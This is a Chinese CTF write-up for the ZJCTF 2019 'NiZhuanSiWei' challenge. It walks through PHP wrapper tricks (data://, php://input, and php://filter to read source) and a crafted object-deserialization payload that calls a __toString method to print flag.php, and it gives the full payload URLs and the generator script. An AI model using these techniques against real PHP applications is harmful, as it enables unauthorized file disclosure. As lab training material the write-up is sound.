[ZJCTF 2019]NiZhuanSiWei
1.打开网站就是源码:
大概看一眼,我们的目的地一般都是在最内层判断里了。
2.从上往下看,第一层判断,是判断text参数存在且获取其内容等于“welcome to the zjctf”。这里是让我们猜其目录下的某个文件吗?不不不,这里是考我们伪协议,让我们自己操纵这个内容。
方法1:php://input伪协议
(比较特殊的一点,enctype=”multipart/form-data” 的时候 php://input 是无效的)
方法2:data伪协议
1 | ?text=data:text/plain,welcome to the zjctf |
可能还有些其他方法吧,我知识面尚窄。
3.第二步是file参数里不能出现flag字符,我们看到提示“useless.php ”,先包含它看一下。(因为是php文件,我们想看到内容就需要php://filter伪协议)
1 | ?text=data:text/plain,welcome to the zjctf&file=php://filter/convert.base64-encode/resource=useless.php |
4.拿去解码看一下:
这里定义了Flag类,里面有__tostring魔术方法,这个魔术方法是在类被当成字符串的时候调用,然后获取file的值并输出。而且这里也提醒了我们flag.php。
5.那么现在我们就包含useless.php文件,后面对$password进行了反序列化,我们让$password反序列化出Flag类,因为$password被当做字符串输出,所以会调用__tostring魔术方法,然后会输出file的内容。那么我们就构造反序列化的值。(我是不可能手动构造的,滑稽)
1 2 3 4 5 6 7 8 | <?php class Flag{ //flag.php public $file; } $flag = new Flag; $flag->file = 'flag.php'; print(serialize($flag)); ?> |
6.最终payload:
1 | /?text=data:text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";} |
flag在源代码里。